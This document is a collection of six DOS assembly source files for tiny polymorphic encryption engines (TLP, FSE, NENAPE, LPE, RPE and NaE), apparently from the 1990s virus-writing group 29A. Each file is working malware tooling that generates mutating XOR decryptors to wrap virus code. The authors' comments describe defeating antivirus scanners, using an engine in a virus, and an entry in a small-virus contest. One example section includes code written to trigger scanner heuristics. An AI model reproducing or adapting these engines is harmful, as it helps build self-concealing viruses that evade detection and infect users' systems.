ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[tlp2.asm]ÄÄ
;****************************************************************************
;  TLP - Tiny Lame Poly Engine V2.0 by Dark Cobra
;  Note: This engine is not intended to be useful, but rather interesting.
;	 That's why I made it small and useless ;)
;
;  Thanks go to Darkman for pointing out an obvious optimization which I had
;  accidently overseen while thinking about the difficult parts of this. His
;  hint saved me one more byte, which is significant in such a short engine.
;
;  Now, the engine is only 48 bytes small! :)
;
;  Greatings to (in no specific order): GriYo, Darkman, VirusBuster, B0z0,
;  StarZero, Super, Yesna, Serialkiller, Reptile
;
;
;****************************************************************************

.MODEL TPASCAL
P386
LOCALS @@
.CODE
  ASSUME CS: CODE, DS: CODE, ES: CODE, SS: CODE
  ORG 100H
EntryPoint:
;    mov di, offset EntryPoint
;    db 11 dup (90h)

;****************************************************************************
;  in:	ES:DI = pointer to buffer for new decryptor
;	SI = begin of code to be decrypted
;	DX = end of code to be decrypted
;  out: ES:DI = new decryptor
;****************************************************************************

;The engine generates a decryptor of the following (general) form:

;mov r1, code_begin    b8+r1 code_begin        (1)
;crypt:
;xor [r1], xor_key     80 01110r1 00	       (2)
;inc r1 	       40+r1		       (3)
;cmp r1, code_end      81 01111r1 code_end     (4)
;jnz crypt	       75 crypt - $	       (5)


;SI: 0 --> 6   00 --> 110   +6	XOR 110
;DI: 1 --> 7   01 --> 111   +6	XOR 110
;BP: 2 --> 5   10 --> 101   +3	XOR 110
;BX: 3 --> 3   11 --> 011   +0	XXXXXXX

	xor ax, ax
	in al, 40h
	and al, 3
	push ax
	jnp short @@2
	jnz short @@1
@@2:	xor al, 6
@@1:
	add al, 0b8h
	stosb
	xchg ax, si
	stosw

	pop ax
	add ax, 8074h
	xchg al, ah
	stosw
	in al, 40h
	shl ax, 8
	stosw

	xchg ax, si
	sub al, (0b8h - 40h)
	stosb

	add ax, (81f8h - 40h)
	xchg al, ah
	stosw
	xchg ax, dx
	stosw

	mov ax, 0f575h
	stosw

	ret

END EntryPoint

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[tlp2.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fse.asm]ÄÄ
;=====( Fucking Small Engine - by Rajaat / 29A )===============================
;
; Type     : Polymorphic Engine
; Comments : This polymorphic engine is very easy to detect, since uses no
;            random trash code or anything else to complicate detecting the
;            decryptor itself, but this is made to see how you could defeat
;            scanners that still use the (in my opinion obsolete) XRAY
;            technique to detect encrypted viruses. FSE uses 8-15
;            different operations on each byte, making it virtually
;            impossible to do a cryptanalytic attack.
;
;            Operands used by FSE to encrypt code:
;            XOR   SUB   ADD   ROL   ROR   NOT   NEG   INC   DEC
;
;            Registers used by FSE as pointer:
;            BX    SI    DI
;
;            Registers used by FSE as counter:
;            AX    BX    CX    DX    SI    DI    BP
;
;=====( Fucking Small Engine - by Rajaat )=====================================
;
; DS:SI = code to encrypt
; ES:DI = place for encrypted code + decryptor
; CX    = code length to encrypt
; AX    = offset in target
;
;==============================================================================
.model tiny
.code
.radix 16

public C fse                                    ; yes, I used it in my Borland
                                                ; C virus :-D

fse             proc C                          ; fse()

                push bp                         ; preserve BP

                call get_offset                 ; get delta offset (in case you
get_offset:     pop bp                          ; are making a direct action
                sub bp,offset get_offset        ; infector)

                push di es                      ; save some registers I need
                push si                         ; later on
                push cx                         ;
                push ax                         ;
                push di                         ;
                push di                         ;
                cld                             ;

                push es                         ; clear encrypt code buffer
                push cs                         ; (there was a bug in here when
                pop es                          ; this source was on my home
                lea si,end_sequencer[bp]        ; page, it ES != CS it would
                lea di,enc_sequencer[bp]        ; make incorrect encryptions)
                mov al,90                       ;
                push cx                         ;
                mov cx,len_sequencer            ;
                rep stosb                       ;
                pop cx                          ;

                pop es                          ;
                pop di                          ;

                mov ax,1f0e                     ; write PUSH CS / POP DS
                stosw                           ; sequence (wow, fixed code)

bad_registers:  call rnd_get
                and ax,0707
                cmp ah,al                       ; pointer & counter can't be
                je bad_registers                ; the same register
                cmp al,4                        ; don't use SP!
                je bad_registers
                cmp ah,03                       ; BX is pointer register
                je good_pointer
                cmp ah,6                        ; or else FSE uses SI or DI as
                jb bad_registers                ; index register
good_pointer:   push ax
                sub ah,6
                cmp ah,08
                jb convert_ok
                mov ah,3
convert_ok:     mov byte ptr cs:pointer_reg[bp],ah
                pop ax
                add ax,0b8b8
                push ax
                call rnd_get
                mov bx,1
                inc ax
                pop ax
                jns dont_flip
                xchg ah,al
                xchg bh,bl
dont_flip:      stosb
                mov dx,di
                test bl,1
                push ax
                jz no_counter
                call rnd_get
                and ax,1ff
                add ax,cx
no_counter:     stosw
                pop ax
                xchg ah,al
                stosb
                push ax bx
                test bl,1
                jnz is_counter
                and ax,1ff
                add ax,cx
                jmp store
is_counter:     mov dx,di
store:          stosw
                mov cx,di
                push cx

                call rnd_get
                mov cx,ax
                and cx,7
                add cx,7

encrypt_actions:

                call rnd_get
no_more_than_8: and ax,1f
                sub ax,8
                cmp ax,8
                ja no_more_than_8
                shl ax,1
                mov bx,ax
                add bx,bp
                mov ax,word ptr cs:enc_opers[bx]
                test ah,80
                jnz no_xor_add_sub
                mov ah,80
                add al,byte ptr cs:pointer_reg[bp]
                xchg ah,al
                stosw
                call rnd_get
                stosb
                jmp xor_add_sub
no_xor_add_sub: sub ah,0bc
                add ah,byte ptr cs:pointer_reg[bp]
no_bx:          stosw
xor_add_sub:    mov bx,word ptr cs:dec_opers[bx]
                cmp bh,0
                jne no_xas
                mov bh,al
no_xas:         mov word ptr cs:[si],bx
                dec si
                dec si

                loop encrypt_actions

                pop cx

                ;=== inc/dec pointer and counter
                pop bx ax
                test bl,1
                jnz pointer_first
                xchg ah,al
pointer_first:  sub ax,7078
                stosb
                push ax
                pop ax
                xchg ah,al
                stosb
                ;=== building repeat loop
                cmp al,49
                mov al,75
                jnz no_loop
                dec di
                mov al,0e2
no_loop:        stosb
                sub cx,di
                dec cx
                xchg ax,cx
                stosb

                xchg bx,dx
                mov dx,di
                pop ax
                sub dx,ax
                pop ax
                add dx,ax
                mov word ptr es:[bx],dx
                pop cx
                ;=== encrypt code
                pop si
encrypt_loop:   lodsb
                call enc_sequencer
                stosb
                loop encrypt_loop
                mov cx,di
                pop ds dx
                sub cx,dx
                pop bp
                ret

rnd_get:        in al,40
                xchg ah,al
                in al,41
                xor al,ah
                ret

                ;  XOR   SUB   ADD   ROL   ROR   NOT   NEG   INC   DEC
enc_opers       dw 00034,0002c,00004,0c0d0,0c8d0,0d0f6,0d8f6,0c0fe,0c8fe
dec_opers       dw 00034,00004,0002c,0c8d0,0c0d0,0d0f6,0d8f6,0c8fe,0c0fe

fse_signature   db '[ FSE 1.0 by Rajaat / 29A ]',0

enc_sequencer:  dw 18 dup (9090)
end_sequencer   equ $-2
len_sequencer   equ $-enc_sequencer
                ret
pointer_reg     db 0

fse             endp

end
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[fse.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nenape.asm]ÄÄ
;=====( Not Even Near A Polymorphic Engine )===================================
;
; By Rajaat
;
; The reason i wrote NENAPE was that I didn't have an engine yet that I easily
; call multiple times to generate more than one layer of encrytion. At
; the moment the encryption method is very bad, but I will hope to
; improve this soon, together with the code it generates. The main thing
; is that the encryptor is build up perfectly and that the code is
; compact yet modular.
;
; NENAPE
;
; CLEAN 	  = 1		; 111 bytes
;
;==============================================================================
;
; Note: I've got to extend the random opcode generator ofcourse, but you'll
; see the point I have here, i don't need much register preserving, this
; allowing me to do more shitty opcodes and obscure interrupts, making it look
; like a legitimate program ;-)
;
; And eh.... I'll promise I'll comment it ;-) Doh!
;

.model tiny
.code
.radix 16

		org 100
main:

IFNDEF CLEAN
		call get_delta
get_delta:	pop bp
		sub bp,offset get_delta
		mov ax,3c00
		xor cx,cx
		lea dx,fnam[bp]
		int 21
		xchg ax,bx
		push bx
		lea bx,main[bp]
		lea di,virus_end[bp]
		mov ax,virus_bytes
		call nenape
		mov di,dx
		add di,cx
		mov bx,dx
		xchg ax,cx
		call nenape

		pop bx
		mov ah,40
		int 21
		mov ah,3e
		int 21
		mov ax,4c00
		int 21
fnam		db 'V.COM',0

; Here some shit that flags tbscan like hell ;-)

		mov ax,0aace
		int 21
		cmp ax,0b00c
		mov ax,100
		jmp ax
		int 12
		dec ax
		mov word ptr ds:[413],ax
		cmp ax,4b00
		jne $+2
		mov ax,4301
		int 21
		mov ax,5701
		int 21
		cmp ax,'MZ'
		cmp ax,'ZM'
		db '*.COM',0

ENDIF

;=====( Not Even Near A Polymorphic Engine )===================================
;
; Input:	DS:BX	= code to encrypt
;		ES:DI	= place to put encrypted code + decryptor
;		AX	= length of code to encrypt
;
; Output:	DS:DX	= encrypted code + decryptor
;		CX	= length of encrypted code + decryptor
;
;==============================================================================

;		     +6 +4 +2 +0
nenape: 	push ax bx si di
		cli
		call nenape_delta
nenape_delta:	pop si
		sub si,offset nenape_delta
		mov bx,sp
		mov word ptr decode_length[si],ax
		in al,40
		mov byte ptr value[si],al
		lea si,decryptor[si]
		mov cx,decryptor_bytes / 2
create_decrypt: cld
		in al,40
		and al,7
		test al,4
		jnz create_decrypt

		; Extend this

		mov dl,al
		mov al,0b8
		add al,dl
		stosb
		lodsw
		push ax
		stosw
		mov al,50
		add al,dl
		stosb
		loop create_decrypt

		movsw
		mov si,word ptr [bx+4]
		mov cx,word ptr [bx+6]
		push di
		rep movsb
		pop si
		mov dx,word ptr [bx+0]
		sub di,dx
		mov bx,sp
		add bx,7
		call bx
		mov cx,di
		add sp,decryptor_bytes
		sti
		pop di si bx ax
		ret

; Image of below remarked code pushed wordwise backwards (my personal horror)

decryptor:	dw 052c3h
		dw 0fae2h
value		dw 04600h
		dw 03480h
decode_length	dw 01000h
		dw 0b91fh
		dw 00e56h
		dw 05e41h
		dw 03932h

;decryptor:	 db '29A'               ; hidden signature ;-)
;		 pop si
;		 push si
;encrypt:	 push cs
;		 pop ds
;		 mov cx,10
;decode_length	 equ $-2
;continue:	 xor byte ptr [si],0
;value		 equ $-1
;		 inc si
;		 loop continue
;		 ret
;		 db 'R'                 ; hidden signature :-D

decryptor_bytes equ $-decryptor

		call sp

nenape_bytes	equ $-nenape

virus_end	equ $
virus_bytes	equ virus_end-main

end main
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nenape.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[lpe.asm]ÄÄ
.model tiny
.code
.radix 16
.286

; CLEAN           = 1           ; remove ; in order to remove example code



                org 100

main:

;=====( Little example code that shows how to use the LPE )====================
;
; Since it is hardly interesting I left most of it uncommented, the LPE is the
; working horse in this source.
;
;==============================================================================

IFNDEF          CLEAN

                call get_delta
filename        db 'LPE.COM',0
get_delta:      pop si
                sub si,offset filename
                mov ax,03d02
                lea dx,filename[si]
                int 21
                push ax
                lea si,end_lpe[si]              ; parameter settings
                mov di,1000                     ; for lpe are done
                mov cx,virus_words              ; here. look at lpe header
                call lpe                        ; for the info
                mov ah,40
                pop bx
                int 21
                mov ah,3e
                int 21
                mov ah,4c
                int 21
ENDIF

;=====( Ludicrous Poly Engine by Rajaat / 29A )================================
;
; DS:SI = offset end of virus - 2
; ES:DI = place where to put encrypted code + decryptor
; CX    = virus size in (words / 2)
; Pad your virus to an even amount of bytes, please (OR YOUR CODE DIES!!!)
;
; Returns:
; ES:DX = encrypted code+decryptor
; CX    = length of encrypted code+decryptor
; All other registers might be trashed
;
; Don't forget to eventually restore the stack to it's original location before
; returning to the host, some unpredictable things might happen if you don't.
;
;=====( Why I wrote this load of crap? )=======================================
;
; Cyberyoda on #virus on undernet has started a contest to write a small virus
; in 150 bytes, and the most effective virus wins. This engine is only 50 bytes
; and generates very polymorphic code in respect to its size.
;
;==============================================================================

lpe:            push di                 ; store destination
repeat_lpe:     db 0d6h                 ; assume carry clear, so AL = 0
                out 43,al               ; init randomizer
                in al,40                ; get random number
                and al,7                ; save only low nibble
                or al,0b8               ; add 0b8, gets in MOV <reg>,<value>
                cmp al,0bc              ; is it 0bc (SP register)
                je repeat_lpe           ; yes, not desirable - get another reg
                stosb                   ; store opcode
                push ax                 ;
                push ax                 ;
                in ax,40                ; get semi-random value
                stosw                   ; store word
                xchg ax,bx
                mov al,81               ; xor <reg>,<word xor value>
                stosb                   ; store opcode
                pop ax                  ;
                add al,38               ; get register
                stosb                   ; store register
                std
                lodsw                   ; get word (backwards)
                cld
                xor ax,bx               ; xor word with value
                stosw                   ; store after xor opcode
                pop ax
                sub al,068              ; push <reg>
                stosb                   ; store opcode
                loop repeat_lpe         ; repeat until all words dont
                mov ax,0e4ff            ; jmp sp
                stosw                   ; store opcode
                xchg cx,di
                pop dx                  ; get destination offset
                sub cx,dx               ; calculate length
                ret

end_lpe         equ $

;==============================================================================

virus_bytes     equ $-main
virus_words     equ (virus_bytes shr 1) + 1

end main

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[lpe.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[rpe.asm]ÄÄ
;
; I owe thanks to Dr. Dope for the 1 byte optimization.
;
.model tiny
.code
.radix 16

.386

		org 100

;=====( RPE - Rajaats Push Engine )============================================
;
; Minor version of LPE, redone and optimized, done by Rajaat / 29A as joke.
;
; Input :  DS:SI = virus code end - 2
;	   ES:DI = pushorized virus
;	   CX	 = virus bytes / 2
; Output : ES:DX = pushorized virus (ES!!!)
;	   CX	 = pushorized virus length
;
; Align virus size to a word boundary, and leave some stack for the host.
;
;==============================================================================

rpe:		mov dx,di		; for ES:DX return parameter
rpe_loop:	in al,40		; get "random" byte
		and al,7		; make it range 0-7
		add al,0B8		; make mov <reg>
		cmp al,0BC		; BC = SP register, which we can't use
		je rpe_loop		; so we have to get another number
		stosb			; store opcode
		movsw			; add some code (in reverse order)
		sub si,4		; si -= 4 (easier than cld/std shit)
		sub al,(0B8-50) 	; get push <reg>
		stosb			; store it
		loop rpe_loop		; repeat until whole virus done
		mov ax,0e4ff		; get jmp sp opcode
		stosw			; store it
		sub di,dx		; calculate new length
		xchg cx,di		; and present it in cx
		ret			; done (31 bytes)

end rpe
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[rpe.asm]ÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nae.asm]ÄÄ
comment *
		     Nearly an Engine v 2.00 [NaE]

		 Calling parameters:
		   DL	  One byte garbage instruction
		   CX	  Length of original code
		   BP	  Decryptor's offset
		   DS:SI  Pointer to original code
		   ES:DI  Pointer to decryptor + encrypted code

		 Return parameters:
		   CX	  Length of decryptor + encrypted code

  Garbage instructions:
    User defined.

  Nearly an Engine v 2.00 [NaE] decryptor:
    Zero to two hundred and fifty-five garbage instruction(s).
    MOV DI,imm16				    (Offset of encrypted code)
    MOV CX,imm16				    (Length of encrypted code)
    XOR CS:[DI],imm8					      (Decryption key)
    INC DI
    LOOP imm8				       (Beginning of XOR CS:[DI],imm8)

  Min. decryptor size:		       13 bytes.
  Max. decryptor size:		      268 bytes.
  Nearly an Engine v 2.00 [NaE] size:  58 bytes (excl. ' [NaE] ').
*

nae_begin    equ     $			 ; Begining of Nearly an Engine v 2...

nae_poly     proc    near		 ; Nearly an Engine v 2.00 [NaE]
	     push    si cx		 ; Save registers at stack

	     lea     si,cryptor 	 ; SI = offset of cryptor

	     mov     [si+(crypt_length-cryptor)],cx

	     in      al,40h		 ; AL = encryption/decryption key
	     mov     [si+(crypt_key-cryptor)],al

	     xor     ax,ax		 ; Zero AX
	     in      al,40h		 ; AL = number of garbage instructi...

	     push    ax 		 ; Save AX at stack
	     xchg    ax,cx		 ; CX = number of garbage instructi...
	     xchg    ax,dx		 ; AL = garbage instruction
	     rep     stosb		 ; Generate random number of garbag...
	     pop     ax 		 ; Load AX from stack

	     mov     cl,(cryptor_end-cryptor)
	     add     ax,cx		 ; AX = length of decryptor
	     add     bp,ax		 ; BP = offset of plain/encrypted c...
	     mov     [si+(crypt_offset-cryptor)],bp

	     rep     movsb		 ; Move the decryptor above the gar...
	     pop     cx si		 ; Load registers from stack

	     push    di 		 ; Save DI at stack
	     rep     movsb		 ; Move the plain code above the de...
	     pop     di 		 ; Load DI from stack

	     db      00111010b		 ; CMP BH,[BP+imm16] (opcode 3ah)
cryptor:
crypt_offset equ     word ptr $+01h	 ; Offset of plain/encrypted code
	     mov     di,00h		 ; DI = offset of plain/encrypted code
crypt_length equ     word ptr $+01h	 ; Length of plain/encrypted code
	     mov     cx,00h		 ; CX = length of plain/encrypted code
crypt_loop:
crypt_key    equ     byte ptr $+03h	 ; Encryption/decryption key
	     xor     byte ptr cs:[di],00h
	     inc     di 		 ; Increase index register
	     loop    crypt_loop
cryptor_end:
	     xchg    ax,cx		 ; CX = length of decryptor
	     add     cx,dx		 ; CX = length of decryptor + encry...

	     ret			 ; Return!
	     endp

engine_name  db      ' [NaE] '           ; Name of the engine

nae_end      equ     $			 ; End of Nearly an Engine v 2.00 [...
nae_size     equ     $-nae_begin	 ; Size of Nearly an Engine v 2.00 ...
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[nae.asm]ÄÄ
